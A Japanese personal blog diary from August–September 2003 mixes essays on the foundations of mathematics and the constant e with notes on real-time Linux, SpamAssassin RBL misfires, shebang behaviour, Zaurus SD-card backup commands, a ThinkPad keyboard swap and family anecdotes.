- 非ユークリッド幾何学の創始。これはユークリッド幾何学の欠陥ではないのですが、少なくとも公理が「自明の真理」ではないことが明らかになり、ユークリッド幾何学の物理的直感による絶対性が崩れたのです。
- 幾何学的直感による論理の飛躍の発見。このことに関しては 19世紀以前から問題になっていたのですが、この世紀にはっきりと認識されました。
上記の問題点等に対する、ヒルベルトの(現代的な)公理主義的な考えは、ユークリッド幾何学に現われる点や直線には意味がなく、それらの関係のみが重要なのである、という現在考えればあたりまえといえることなのですが、当時としては画期的な考えだったのです。今風に記述すると、例えば点の集合を P、直線の集合を L として、
(p in P) on (l in L) --- (点 p は直線 l の上に乗っている)
が満たすべき関係が「公理系」により記述され、この場合 (P x L) の部分集合が公理を外延していると考えるのです。
従って「点」や「直線」という言葉には全く意味がなくなり、「点や直線ををコップや机と言い換えても全く問題はない」というヒルベルトの有名な言葉が非常に説得力をもつのです。
またヒルベルトは公理を分類して、どの公理群が関連する定理群を導くかの明確な認識を持ち、公理の独立性や完全性に関してもきちんとして説明を行ったのですが、これらの考えは後年の構造主義に多大な影響を与えたのです。いずれにしても、ヒルベルトのユークリッド幾何学の再構成により、現代的な公理主義が始まるわけで、その基礎付けとしての形式主義が登場するのであります。

2003年9月8日(月)

リアルタイム Linux
最近の組み込み UNIX 系 OS は Linux が一般的なのですが、リアルタイム性が保証出来ないという問題点があります。リアルタイム性を保証するには次の点を修正する必要があります。
1. 実行可能状態のプロセスの優先順位を厳密に決定出来ること。
2. リアルタイム処理と関係がない割り込み処理やカーネル内の処理が、リアルタイム処理に関連する割り込みハンドラやプロセスの妨害をしないこと。
ということで、Linux の kernel を上記に対応させる場合、1 の条件は伝統的な UNIX の「みんなで仲よく使いましょう」的なスケデューラーを厳格な優先順位のスケデューラーに直せば良いので極めて簡単な作業なのです。FreeBSD では rtprio システムコールがこれに対応しています。ところが 2番目の条件を克服するのは極めて難しく、割り込みの優先順位等の見直しはもちろんでありますし、場合によっては kernel 内の処理中にプロセスをプリエンプティブに実行させたりする必要が発生し、カーネルコンテキストの保存やロックの問題等、考えるのもいやになるほどの変更点が発生するのです。
そこで通常の解決方法としては、
新たなスケデューラーを作成し、Linux 自体を一つのタスクと考える。
というアプローチがとられます。リアルタイムプロセスと関連する割り込みは新たなスケデューラ─の配下で制御され、この部分は UNIX ではありませんし記述も低レベルで面倒なのです。ただし本当にリアルタイム性が必要な部分はあまり多くなく、リアルタイム対応の部分を最小限の記述にして、必要があれば「タスク間通信」を利用して Linux 側の入出力を利用できるのです。この方法によれば、一般に i-TRON 等でいつも問題になる(高額で不安定な)TCP/IP プロトコルスタックを使う必要もなく、純正な UNIX の安定したプロトコルスタックを利用できる利点が大きいのです。もちろん UNIX(Linux)側のプロトコルスタック等はリアルタイムにはならないのですが、TCP/IP ネットワークの性質上リアルタイムにしても意味がない場合がほとんどなのです。即ち、
少量のリアルタイムの部分の記述 + ほとんどの部分を伝統的な UNIX での記述
でシステムを作成できるのです。そこで上記の方法による実装による、リアルタイム Linux というものを評価してみたのですが、有名なものとして RTLinux と RTAI というものがあるのです。今回は ARM プロセッサーの評価ということで、 RTAI を使用してみたのですが、使用感は後日の記事で報告いたします。

2003年9月7日(日)

モカの演奏
今日ドラムの練習に行ったら、先生にお願いしておいたピアノの発表会の時のモカの演奏の WAV ファイルの CDROM が出来ていました。さっそくもらってきて、グラドゥス・アドパルナッスム博士「子供の領分」～ドビュッシーの部分を切り出して(gnowavcut 使用) MP3 に変換したのがこのファイルなのです。むむむむっ、なんのかんのサーバーを自宅に移転してから強気になって、このページも極悪化の一途をだどっていますな(^^;。
そもそも最初 biglobe でこのページを始めた頃は、10M バイトの容量がデフォルトで、どうせ日記だけだから 10年はもつであろうという計算だったのですが、今日の mp3 ファイルだけで 4M バイトもあったりして、すでに全体で 20M バイトの容量を消費しております。
ちなみに 11月の発表会ではモカのピアノといっしょにドラムの演奏して、奧さまが歌うことになりました。だけど 10月は猛烈に忙しいし、いったいいつ練習すればよいのだろう。

2003年9月6日(土)

内部処理変更
内部的な PHP による処理を変更しました。先週さぼっていた部分を作成したもので、次の点を改善しました。
- 月始めに前月の終りの方を出力する処理を自動化。前月の終りの方は、最初 7日位出力され、だんだん減っていきます。
- ヘッダーとトレイラ─の処理を自動化。これで面倒な月始めの処理(次の月へのリンクとか)が自動化できます。
という訳で、お客様には何のメリットもない修正なのですが、個人的にはなかなかメンテナンスが便利になったのであります。本当のことを言いますと、ねたに困って仕方なくプログラムを書いた、というのが真相だったりします(^^;。
↑すんばらしいバグがあったようで、実は X11 のモジラでも w3m でもちゃんと文章も画像もしっかり見えたのですが、アクセスログをみると誰も画像を持っていかないのですね～(^^;。いやはやお恥ずかしい。
↑さらにもう一つバグがあったようです(^^;。
(おまけ) DMC FZ1 で撮った 36倍ズームの月の写真

2003年9月5日(金)

ちょっと変った金属
会社の H さんが持っていた金属。左の二つがタングステンでとっても重いので人に投げると死にます。右が金属シリコンでこちらは軽いのです。ちなみに、写真のタングステンは 8つ用いて 8方向から高速で一点に集約させて高圧を作るのに使用しまして、その衝撃で隅が欠ているのです。一辺が 1 インチ (2.54cm)で重さが約 260グラムです。
やっと届いた継続サンクスカード
奧さまからのメールによりますと、数日前にメールで催促した FC 継続サンクスカードが届いたそうです。やれやれ。家に帰ったら猫森のチケットと MoonSong も届いていました。

2003年9月4日(木)

4つの物理ネットワーク IF on X24(^^;
ThinkPad X24 には 100BaseT インターフェースと IEEE802.11b 無線 LAN インターフェースが内臓されており、会社では 100BaseT 側を社内基幹 LAN へのインターフェース、無線側をかがみローカル LAN インターフェース(インターネットへの経路あり)で使用しているのです。今まではこれで十分だったのですが、ちょっと仕事の関係で、X24 が属するもう一つ孤立した LAN 環境 (10BaseT でよし)を作成する必要が出来てしまったのです。一台ルーターを調達するなり色々考えたのですが、結局「もう一つインターフェースを増やせば一番安易だ」ということで、近くのお店に 10BaseT の PCMCIA カードを物色しに行ったのです。条件としては、
- 会社の経費で買うのも面倒なので自分用。従ってなるべく安いもの。
- FreeBSD-4.X 系で動作するもの。
ということで探していたら、メルコの LPC3-CLTL というカードが 1,980円なり。メルコならばきっと FreeBSD でも動くであろうし、こんなものでよいかな～、と思って箱の山を漁っていたら出てきたのがこのケース(^^ 。いやはや、ちゃんとメーカーの保証もついていて、ずいぶん得した気分になりました。ちなみに X24 で 3つインターフェースを使う人も珍しいであろうということで、ついでに @FreeD のカードも挿しまして、めでたく 4つのネットワークインターフェースということになったのであります。
Spamassassin の失敗
ほとんど FreeBSD-user-jp SPAM 対策のみのために Spamassassin を使用しているのですが、ここ数日で 2件ほどの普通のメールがスパムと判断され、スパム箱に落ちてしまいました。こんなこと以前はなかったのに変だし、スパムが通過するのは良いけど間違えてフィルターされて気が付かないのは困るな～、と思いまして中身をみますと最近のほとんどのメールに、
RCVD_IN_OSIRUSOFT_COM (0.6 points)
   RBL: Received via a relay in relays.osirusoft.com \
   [RBL check: found 142.206.13.211.relays.osirusoft.com.]
X_OSIRU_OPEN_RELAY (2.9 points) \
   RBL: DNSBL: sender is Confirmed Open Relay
というスコア─がカウントされ、どうもオープンリレーのサイトを通過してきたと勘違いしているらしいのです。そこで 211.13.206.142 はどこかなと調べたところ、
$ nslookup 211.13.206.142
Server: evariste.dd.que.ne.jp
Address: 192.168.101.184

Name: mail2.inetd.co.jp (-_-);
Address: 211.13.206.142
Aliases: 142.206.13.211.in-addr.arpa
いやはや、なぜかアイネットディのサーバーがオープンリレーと間違えられているらしいのです。ところで relays.osirusoft.com なんていうのは不勉強にして全く聞いたことがなかったので、こちらも調べたところなんと先月の末にサービスを停止したオープンリレーリストサイトなのだそうです。どうもアイネットディが間違えて登録されたというより、閉鎖の関係で何らかの手違いが生じた様な気がするのですが詳細は不明なのです。とりあえず Spamassassin を最新に入れ替えるとともに、上記のスコアーを設定ファイルで 0 点に修正しました。ちなみに私の受信メールはもちろん、送信メールも全部アイネットディを経由するので、Spamassassin を使っている方にメールを出すと、捨てられてしまう恐れもあるのかも知れません。困ったものです。
＃個人的には無断で人様のサイトを調べて、勝手にオープンリレーとかなんとか
＃判断するサービスは好きではありません。

2003年9月3日(水)

おおくわがたをもらう
お昼休みに社内の同報で「オスのアンタエウスというインド産のおおくわがた（体長71mm）二匹の里親を探しています」、というメールが入りまして、さっそく立候補したところ、社長と私が当選(てゆーか立候補二人^^)いたしまして、一匹ずつ持ち帰ったのです。いやはや、本当に立派なくわがたでして、モカもとっても喜んでおります。どうもありがとうございます。

2003年9月2日(火)

アンドレ・ヴェイユ vs 志村五郎 vs クロード・シュヴァレー
アンドレ・ヴェイユは 20世紀最大の数学者の一人。志村五郎は「谷山・志村予想」の志村先生。クロード・シュヴァレーはやはり 20世紀を代表する数学者の一人。
数学者には意外と囲碁好きが多く、シュヴァレ─と志村先生が碁を打っていたそうな。そこへヴェイユが現われ、「シュヴァレ─、お前も GO-mathematician なのか」と軽蔑の表情で言いまして、その後の強烈な一言。
そんなことをやっているからお前は数学ができないんだ！！
いやはや、普通の人からみればシュヴァレ─は神様みたいに数学が出来るのですが(^^;。ちなみに志村先生にはなんにも言わなかったそうであります。
猫森集会まで一月
猫森集会まで一月となりましたが、一番忙しくなりそうな時期とぶつかるのがつらいですな。期間中の二日間くらいは、
17時30分に会社を出て猫森、会社に戻ってくるのが 22時30分頃。26時頃まで働いて会社の近くに泊る。次の朝 9時に出社。
というパターンが必要かも知れない。体力勝負ですな。

2003年9月1日(月)

仕事で PHP を使う
簡単な文字列切り張りプログラムを作成する必要が発生しまして、練習も兼ねて仕事で PHP を使用してみたのです。内容的には簡単なプログラムなのですが、なんせ練習不足なので、「定跡が分からない」という状態でして、使ったのは正規表現関連のライブラリーだけなのですが、存外時間がかかってしまいました。それから、人様のところに置いてあるマニュアルを見て開発したので、どこではまっていたかばれてしまっているかも知れません(^^;。
前月の終りの方も表示するように変更
私の日記は気まぐれに数日前のねたに関して言及する場合が多いので、今月から前月の数日分を新規月の日記に追加するように変更しました。もちろん PHP の処理で自動追加する予定だったのですが、昨日の午後家族と食事に行きまして、いい気になって食べすぎ、帰ってきてごろごろしていたらうかつにも３時間以上寝てしまい、プログラムを書く時間がなかったのです。
というわけで、しばらくは単に今月の後ろに前月の最後の部分を追加したファイルをアップするという情けない状態となります。いずれにしても月替わりの処理が面倒なので今後の目標としては、
- 前月の終りの方の追加を PHP で自動化する。
- ヘッダーとトレイラー(「トップページに戻る」とかの部分)の作成を自動化する。
- 別件として、検索で来られるお客様のことを考えますと、スレッド機能が欲しい。
などがあるのですが、本当は内容の充実が一番重要だったりします。いずれにしても、なんとか今月中には直したいものです。

2003年8月31日(日)

夏休み最終日
本日は夏休み最終日、ということで例年ですとお子さまたちがパニック状態になって、親も巻き込み非常に緊迫した一日となるはずなのですが、幸いにして今年はのんびりできそうなのであります。
- 長女は浪人で夏休みは毎日予備校通いで「夏休みの宿題」という概念はない。そもそもそんなことで大騒ぎではお話にならないが。
- 二女は性格が私に似て例年一番大騒ぎになるのだが、今年は高校生になったこともあり、あんまり緊迫していないようである。
- モカは性格が奧さまに似て比較的きちんとしているので、最終日に大騒ぎになることはあんまりない。
というわけで、今日は宿題の手伝いをしないですみそうなのです。最大の問題は私がいつ夏休みをとれるかということですな(^^;。
↑二女の隠し宿題発覚(^^;。
ブラウエルの直観主義
えらく間が空きましたが、数学の基礎の危機の続きなのです。実は[ヒルベルトの形式主義]に関しては表面的には知っていますし、その後の(初等的な部分の)経緯も大体理解しているつもりなのですが、 [ブラウエルの直感主義][ラッセルの論理主義]に関しては、また聞きのまた聞き、という感じで本当はなにも知らないのです。ただし 19世紀の後半から 20 世紀にかけて数学に発生した矛盾の解消に関しての論争となった、これらの主義・主張が問題にしていた事柄はただ一つの概念に収束すると考えられ、すなわち、
ある条件を満たす数学的対象が存在するとはなにか
ということであったと思うのです。そしてブラウエルの直観主義は、存在性に関して最も保守的な立場をとったのです。話を分かりやすくするために自然数領域での対象に限定いたしますと、ブラウエルは存在性に関する証明に関して、数学的帰納法で証明された存在性等、具体的な構成方法を明示したもののみを認めます。存在性の表現に現代風の記号を使うと、

なのですが「この命題が真である」、という解釈に対して非常に強い制約をあたえたのです。現代風に言いますと、P(x) の表現関数(＊)は帰納的であるという前提での具体的存在証明に近いものであると思います。そうすると現実には x の存在性が具体的に証明できない場合も非常に多いし、非存在の証明はもっと難しいので、ブラウエルの立場では排中律、
A or (NOT A)
が無条件に真であるとは認められないのです。ちなみに意味は全然異るのですが、A は真であるが(もちろん A or (NOT A) も真)、A と (NOT A) いずれも証明不可能である、という命題を構成したのがゲーデルであり、解釈は全く異るものの、超数学への影響とともに、ブラウエルの精神はある意味長期間に渡って影響を与え続けたのであります。ブラウエルの思想に従い数学を再構成すれば、矛盾が現われる可能性が非常に低くなるのは明白です。ただし存在に対し非常に強い制限を設けているので、「構成に関してなんでもあり」の集合論が否定されることはもちろん、既存の数学の大きな部分が失われることになりましたし、実数の存在さえ否定されることになったのです。ブラウエルの主張はかなり観念的なものであり、非常に難解なものらしいのですが、それを現代的に整理したのがハイティンクで、ブラウエルの主張をさきほどの存在性の論理式を拡張した、

に対する解釈としてとらえ直したようです。確かに、この論理式は集合論での構成や選択公理とも深い関連があり、まさに存在に対する本質を最も簡潔に表現していると思います。
いずれにしてもさきほど書いたように、ブラウエルの主張は「数学の発展に対する死刑宣告」的な意味があり、数学を創造的に発展させようと考える人たちにはとうてい受け入れられるものではなかったのです。この説に対しての最も説得力がある反論が「ヒルベルトの形式主義」なのですが、この説に関しては論理主義も含めて近々論ずることにします。
(＊)命題 P(x) の表現関数とは P(x) が真の場合 1、偽の場合 0 となる関数。

2003年8月30日(土)

ちっとも来ないサンクスカード
こちらによりますと、浩子さんサイン入り継続サンクスカードが届いてもよいはずなのですが、まだ届きません。どうしたのだろう。
人様の 24M ADSL
むむむっ、一昨日から昨日の午前中ににかけて全然浮び上がらないな～、と思っていたら ADSL の入れ替えではまっていたのでね。それにつけても、 6Mbps も出ているのに期待通りではない、とは全く景気の良い話でうらやましいことですな(-_-)。ちなみに全然関係ないが、先日の健康診断で計った私の体重は 82.5Kg なのです。猫森ではよろしくお願いいたします。
失敗三題
昨日は仕事ではちょんぼばっかり。
- シリアル回線で繋いだ Linux ボードをリブートしようとして、自分が使っていた本体(ホスト)の Linux マシンをリブートした。
- それから一時間後に同様のことを行おうとして、ログインしていた人様の Linux マシンをリブートした。
- なにを血迷ったか、
  $ gzip -c file >file
  と入力して file が 0 バイトになった。幸いバックアップがあったのでセーフ。
浩子さんの誕生日ということで喜びすぎたのかな。
(おまけ)
奧さまが撮ったピッチ(鳥の名前)とモカの手

2003年8月29日(金)

お誕生日
今日は谷山浩子さんのお誕生日ということで、まことにおめでとうございます。

2003年8月28日(木)

宇宙の膨張
えーっと、七角錐の少女で僕はきみにたどりつけない理由としましては、かがみの七角錐少女非到達理論が一番有名でありまして(^^、この理論は非局所コンパクト宇宙での非到達性を証明しているのであります。一方うたたさん理論による「膨張宇宙による解釈」というのももちろん否定できないわけで、この曲の歌詞に対して極めて多様な解釈が可能であることを表しているのと思うのであります。
それで「膨張しているから距離が開く」というのは大域的には正しいのですが、
- 地球と太陽程度の距離では、重力の方が膨張よりもはるかに影響が大きく、宇宙の膨張が距離に影響をあたえることはない。
- 距離の開きが光速以下であれば、「ぼく」が一生懸命走ればたどりつけるかもしれないのですが、距離の開きが光速以上ということは、もともと宇宙の年齢(=宇宙の大きさ)以上はなれていなければいけない。
- ただし最近の観測によるインフレーション宇宙が正しいのであれば、ふたりが現在光速以下で距離が開いていく範囲にいても、将来光速以上で遠ざかる運命にあり、たどりつくことが不可能になる可能性がある。
ということで、理論に若干の修正を加えれば、非到達性理論の完璧度が増すのではないかと思っているのです。ちなみに宇宙に存在する個々の対象は、空間に対して光速より速く移動はできませんが、宇宙の膨張等、空間そのものが光速以上で変形するのは全く問題ないのです。例えば観測可能な宇宙の「もっと外側」は、われわれから光速より速く遠ざかっているから観測不可能なわけであります。

2003年8月27日(水)

大失敗した起動プロセス
ちょっと必要があり、開発中の組み込み Linux ボードで FlashROM からブートして CF をマウントする簡単な初期コマンド群を記述したのです。ところが起動中に変なメッセージがでるのですね～。/dev/hda1 は CF のデバイス名なのですが、
/dev/hda1 mount failed. Device busy.
という感じなのです。しかも起動後 mount コマンドで調べるとちゃんと CF はマウントされているという(^^;。もしかして /etc/fstab にも記述をしてしまい重複マウントになったかと思ったのですが、その様な記述はしていないし、うーむわからない(^^;。
それでだんだん面倒になってきたのと、マウントはされているので結果オーライでそのままにしておこうかな～、とさえ考え始めたのですが、どうも納得できなくてもう一度調べてみたのです。
# cd /etc/rc.d/rc.start ←ここのファイル群が順番に実行される
# ls -l
-rwxr-xr-x ... rc.10.syslog
-rwxr-xr-x ... rc.20.klogd
-rwxr-xr-x ... rc.30.firewall
-rwxr-xr-x ... rc.40.network
-rwxr-xr-x ... rc.60.inetd
-rwxr-xr-x ... rc.70.mount
-rwxr-xr-x ... rc.70.mount~ (^^;
-rwxr-xr-x ... rc.80.start

驚くべきことに、上のリストを眺めても全然問題に気がつかなくって、近くの人に見てもらって「かがみさんチルダファイルがあるじゃない」ということで、やっと間違いに気が付いたのです。いやはや案外自分では見えないものですな(^^;。
＃FlashROM のイメージは ext2 ファイルシステムそのものなので、
＃FreeBSD にもってきて、vnconfig と mount など使い Emacs で
＃編集したのも敗因の一つなのです。
続・＃！
#! の意味を調べるために実験した方法。
ファイルの内容がそのまま出力されてびっくり(^^;。
#!/bin/cat
...

ファイル名が出力されたので少し仕組みが分かってきた。
#!/bin/echo
...

一行目が無視される理由に一瞬悩むが、# は awk でコメント扱いに気が付き納得。
#!/usr/bin/awk -f
...

2,3行目の # が出力されて 1行目の # が出力されないのでまたまた悩むが、きっと php 独自の処理と思い直す。←一昨日やってみた(^^;。
#!/usr/local/bin/php
#
#
<?php
...
?>

2003年8月26日(火)

ping 反応停止
たかたにさんに教えて頂いたように、ping への反応を停止したところ、GET / HTTP/1.1 は全然来なくなりました。おうちの場合はメルコのルーターに ping 反応するかどうかの設定があるのです。反応しないようにしても、内側からの ping は問題ない様です。
あれれれっ、一般の ICMP をブロックする必要があるのですか。一般の ICMP に対して、ルーターはどのような挙動を示すのか不明なのですが、とにかく ping への応答をやめたら来なくなりました。
知らなかった #! の意味
あなたは何年 UNIX をやっているのだ＃！、と言われそうな恥の告白(^^;。
実を言いますと UNIX のシェルファイルで
#!/bin/sh
の形式はしょっちゅうつかっているのですが、例えば、
#!/usr/local/bin/php
の様にシェル以外のコマンドを書くことはほとんどなかったのです。それで #! の意味もあんまり深く考えず、2行目以降を標準入力とでもするのであろうと考えていたのです(恥)。「標準入力を最初から読み込ませるならシェルファイルの中で標準入力が使えるのはどうして^^」という突っ込みが生じるのはもちろんなのですが、先入観念とは恐ろしいもので、一度思い込むとなかなか修正がきかなかったりしたのです。実害もあんまりなかったし(^^;
ところが昨日矛盾に気が付きまして、実験したところによりますと、当たり前のことで申し訳けないのですが、
[file]
#!command args
...
...

に対して ./file params の実行は command args ./file params 実行のことだったのですね。それで普通のスクリプト言語は行頭が # の場合コメント扱いなので、一行目はうまいこと無視される場合が多いという...。初めて知ったこの事実なのであります(^^。
↑これもはずれだと大恥なのですが、もし間違えていたら教えてちょーだい。

2003年8月25日(月)

やっと PHP 運用開始
今のところ PHP の内部でファイルの内容を出力しているだけなので、見掛け上は全く分からないのですが、昨日までの shell&awk からなんとか PHP への移行完了です。しかも暗黙に PHP が動作しているディレクトリは、画像置き場と日記だけだったりします。いずれにしても現行の環境を土台として、日記の分類やスレッドの実装を行う予定なのです。それはともかくキーボードを打つのが快感～(麻)。
覚え書き
英語キーボードで "`","~" キーを ESC に、ESC と DEL を "`","~" に変換する方法。
[~/.Xmodmap]
keycode 49 = Escape
keycode 9 = grave asciitilde
keycode 107 = grave asciitilde

として、.xinitrc に xmodmap ~/.Xmodmap と記述。 DEL が一番よさそう。

2003年8月24日(日)

三脚発見
そういえば昔安物の(失礼^^)三脚をもらったことがあるなー、と思い出しまして、押し入れをごそごそ探したらうまいこと出てきたのです。さっそくテスト撮影ということで、部屋を薄暗くしましてカメラを三脚に取りつけ、8 秒程度の露出で英語キーボードを撮り直したのです。ふむふむ、当然のごとく画面は猛烈露出オーバーですが、キーボードはそこそこ綺麗に撮れていますな。今後散財物件を自慢する場合は三脚を使用するのがよさそうです。
お誕生日
そういえばもうすぐ浩子さんのお誕生日ですね。それはともかくうわさによりますと、本日お誕生日の方もいらっしゃるようでして、まことにおめでとうございます。
ザウルス SD カードバージョンダウン大作戦
現在ザウルスには 256M の SD カードが挿入されていまして、スワップも 64M という非常識な量が設定されているのです。それで最初の頃はこれで色々遊ぶ予定だったのですが、最近は飽きてしまって (^^、メールとブラウザ以外には全く使用しなくりまして、SD カードも半分以上余って今後使用量が増える予定もないので、とっても無駄が多いのです。
一方先月デジカメを買いまして、こちらは 128M の SD カードで 170枚程度保存できるのですが、いくら撮ってもただであると思うと同一シーンを何枚も撮るので、キャンプに行った時にはなんと使いきってしまい、予備の 2枚目が必要となったのでありますが、デジカメに 256M の SD を挿せばこのような面倒が起きる可能性も極めて低くなります。
そういうわけでして、ザウルスの SD カード 128M バージョンダウン大作戦が発動されたのであります。もちろん、ザウルスの SD に導入されたアプリケーションやその設定を消してしまうと非常に面倒なことになるので、バックアップとリストアーは必須です。幸い無線 LAN 装置があるのと、ザウルスは NFS のクライアントになれるので、これは非常に簡単な作業です。手順といたしましては、FreeBSD マシン(moka)から ssh で入りまして、
```
# cd /mnt/card/      # SD のマウントされたディレクトリ
# swapoff            # swap を禁止
# rm swapfile        # swapfile を削除(正確には swapfile を unlink)
# mount moka:/usr/home/kagami/tmp /mnt/moka # FreeBSD マシンをマウント
# tar cvf /mnt/moka/card.tar ./*    # バックアップ
# shutdown -h now                   # シャットダウン(128 のカードと入れ替え)
```
起動しましたら再び ssh で入りまして、
```
# umount /mnt/card/  # 勝手に DOS マウントされている(^^;。
# mke2fs /dev/mmcda1 # ext2 にフォーマット
# mount /dev/mmcda1 /mnt/card # こんどは ext2 でマウント
# cd /mnt/card/
# dd if=/dev/zero of=swapfile count=65536    # こんどは 32M(^^;
# mount moka:/usr/home/kagami/tmp /mnt/moka  # FreeBSD マシンをマウント
# tar xvf /mnt/moka/card.tar        # リストア
# shutdown -h now
```
こんな感じで無事にザウルスは起動しまして、256M の東芝純正 SD カードがデジタルカメラ用として手に入ったのであります。いずれにしてもマウントは偉大なり～。

2003年8月23日(土)

健康診断の結果
最近疲労がひどいのでずたぼろの結果を恐れていたのです。そうしましたところ、意外と良好で病院に行くほどのことはないそうで、
- ちょっと血糖量が高いので食べすぎないように(^^;。
- ちょっと肝臓の数値が悪いのですが、お酒を飲まないそうなので、食べすぎないように(^^;;。
- ちょっと血圧が高めなので食べすぎないように(^^;;;。
という年相応の結果でありまして、ようするにやや肥満なのでもう少しやせなさい、てゆーか最悪現状維持しなさい、というご指導を受けたのでありました。
余談ですが、昨日の健康診断は即日(検査終了後一時間)で血液の結果等全部でたのです。微量物質計測技術の進歩ですねー。素晴らしい。

2003年8月22日(金)

MC68000 VS Pentium 200MHz with floating point
えーっと、昔の MC68000 で5時間位かっていた処理が、Pentium の 200MHz を使うと、どの程度の時間で処理可能かの推定なのです。
まずは整数演算なのですが、MC68000 の評判は、同時代の i8086 に比べて非常に高いと思うのですが、実をいますと 16bit の整数演算や同一クロックでの 16 bit メモリーアクセス性能では i8086 より若干劣っているのです。 MC68000 の評判の高さは、内部 32bit のレジスタ構成と、24bit までリニアにアクセス可能なアドレス空間、洗練されたアーキテクチャーによるものであり、少なくとも小さなデータのアクセス速度に関しては、インテルのパイプライン技術による速度向上の方が優れていたのです。そうしますと、借りに i8086 のレジスタ構成が素直な 32bit 構成であった仮定しますと、この段階で i8086 の方が 1.5 倍程度高速であったと思うのです。
上記がクロック 8MHz 程度の時代と仮定いたしますと、クロック向上の性能で
1.5x(200/8) = 37.5 倍
程度でして、1 クロックあたりの実行密度も少なめに見積もって 2倍程度向上していると思いますので Pentium 200MHz は MC68000(8MHz)に比べて、
1.5x(200/8)*2 = 75倍
程度の速度比は達成していると思うのです。そうすると MC68000 で 5時間程度かかっていた処理は Pentium 200MHz で大体 4分位で処理可能となります。
さらに浮動小数点がからみますと、MC68000 は浮動小数点~~チップ~~コプロセッサーをもたなかったという弱点がありまして、浮動小数点のみの演算で考えますと、i8086 + i8087 に 40倍程度のアドバンテージを与えていたと推測されます。したがって Pentium 200MHz は整数演算に乗じてさらに 40 倍の速度向上がありまして、MC68000 5時間の処理が 6秒で可能ということになります。速度比にするとなんと 3000倍ですねー(^^;。
上の推定は、今までの経験でおおざっぱに考えたものなので、かなりの誤差が含まれているのは間違いないのですが、特に浮動小数点に関する CPU の処理能力向上は驚くべきものがあります。昔は専用のハードが必要であった処理でも、現在ではソフトで十分可能なものが増えているのは当然です。ただし、なんとか出来そうであるからといって、余裕のない無理なソフトウエアーを作る必要もないわけで、やはり周波解析等に関連するリアルタイム DSP 処理は、現在でもハードウエアー処理するのが良い設計なのです。
英語キーボード
というわけで、簡単に交換できると教えてくれたり、在庫が入ったとわざわざメールをくれたりする人たちの~~散財誘惑光線~~暖かき心遣いのおかげて、おうちの X24 も晴れて英語キーボードということになりました。確かにねじ 3 本の取り外しだけで交換できまして、本当に簡単なのですねー。ついでなので、キーボードをはがした状態で、フロンだか二酸化炭素を噴出する地球環境壊滅極悪スプレーを使って本体のごみも吹き飛ばしました。ちなみに、やはり一つ大失敗をしまして、日本語のキーボードを取り外すときに、思わずメインスイッチ(これはキーボード側なので、英語キーボードには支障なし)をどこかに飛ばしてしまい(おい^^;)、現在行方不明なのです。まあいいや(^^;。
その後簡単に X の再設定が出来るかと思いましたら、なんとこちらではまってしまいまして、/etc/X11/XF86Config の編集だけで良いと思ったのですが、結構デフォルトに依存している部分があるらしく、 /usr/X11R6/lib/X11/XF86Config の方が日本語キーマップ風の設定にになっていたのがまずかったらしいのです。試行錯誤でいじっていたらうまく行きましたが油断ができないものなのですね。とにもかくにも動いてしまえば、あーしあわせ～(危)。

交換前の日本語キーボード
新しい英語キーボード

キーボードをはがしたところ
完成赤ぽっちんも付いてきた(^^;

ちょいとカメラを近づけすぎたのと、光の案配を失敗してとても下手な写真になってしまいました。どうせちっちゃくするのだからもっと遠くから撮ればよかったのに。それから安物の三脚買おうかな。

2003年8月21日(木)

英語キーボード到着
奧さまからメールありて、IBM X24 の英語キーボードが届いたそうです。もちろん、現在のキーボードに万が一のことがあった場合の予備なのです(^^;。

健康診断

明日は健康診断。ということで、あれですよ！あれ。検便ということで、うんこをもってかなければいけないのですねー。和式水洗の時代は取りやすかったのですが、洋式水洗の場合は、うかつに出すとそのまま穴の中に入ってしまう危険があったりして、その場合手で(._.)...ということで結構難しいのですね。
そこで家族もたくさんいることなので、お願い作戦にでたのですが、...

私ママうんこちょーだい

奧さまなに馬鹿いってるの

私モカちゃん、パパにうんこちょーだい

モカ私取り方わからないからだめ～

私・モカ ...

モカてゆーか、どうして私が取らなくちゃいけないの！！

奧さまりんぜ(長女)はマックでアルバイトしてたから検便得意だよ

私じゃありんぜ、うんこちょーだい

長女 ...(にらみつけて無視)

二女は「夏休みは勉強する」などと言ってたのに、今やマル廃深夜ゲーマーとなりまして、朝は寝ていたのでパス。というわけでして、たくさん家族がいる割には、肝心なときに誰も役にたたないという、極めて悲しい状況なのです(^^;。さらにモカに対しては買収作戦に出たのですが、なんと百万円を要求され、さすがにそんなには出せません。

ちなみに、昔食品系の物流会社に勤めていたことがあるので分かるのですが、マックの様な食品系の会社の場合、法律で月に一回「うんこ提出日」というのが義務づけられていまして、提出をおこたると名前が張り出されたりして、それでもさぼっていると本気で怒られてしまいます。

＃「どぼん」の時代は、横に新聞紙を置いて、そこに出したのですね～。

2003年8月20日(水)

IBM X24 キーボードの交換方法^^;
こちらの保守マニュアル 66ページ近傍を参照すること。ねじ 3本の取り外しで良いはず。いやいや、誰も買うなんて言ってません(^^;。

極悪複利数

まるで武富士やアコム関連みたいな題名ですが、実は真面目な話でありまして、昨日ちょっと書きました自然対数の底 e のお話なのです。「自然対数の底」をご存じの方はこれから書くことは自明のことかと思いますし、知らない方には読んでいただけそうにない悲劇の記事だったりします(^^;。

えーっと、極悪サラ金から年利 100% の利息で借金したと仮定します。100万円借りたら一年後に 200万円返さなければいけないのです。これだけでも十分極悪なのですが、こういう極悪商売をする人(会社か)たちは途中で、もっと細かい複利にしろ、などと無理難題を言い出すことが多いのであります。その場合、100 万円借りたとしまして、一年後の支払い金額は、

複利の算出期間支払い金額

一年 200万円

半年 100万x(1 + 1/2)^2 = 225万円

四ヶ月 100万x(1 + 1/3)^3 = 237万371円

三ヶ月 100万x(1 + 1/4)^4 = 244万1407円

一ヶ月 100万x(1 + 1/12)^12 = 261万3036円

一日 100万x(1 + 1/365)^365 = 271万4568円

一秒^^ 100万x(1 + 1/31536000)^31536000 = 271万8282円

という案配に増えて行くのですが、複利にしては思ったほど増えず、いくら細かくしても比率は頭打ちなのです。この頭打ちの比率を「自然対数の底」と呼びまして通常 e と書くのです。数学では円周率よりも重要な定数であります。正確には、

e = lim[(1 + 1/n)^n, n->Infinity] ～ 2.71828182845904523536....

なのですが、上で説明した理由により、 e のことを自然対数の底などと呼ぶより、 極悪複利数 と呼んだ方が分かりやすいのでは、と思ったどうでもよい記事なのです(^^;。

文部科学省の大定理

$e = \pi$
両方 3 なのだそうです。

2003年8月19日(火)

モカ姫帰宅
実を言いますと、モカ姫は日曜日からまたまた夏合宿でして、こんどはサイエンス倶楽部の合宿だったのですが、栃木県に水棲生物観察に行って、本日帰宅したのです。この夏休みは雨にたたられて可愛そうでした。

捕獲したザリガニ
トビケラの標本

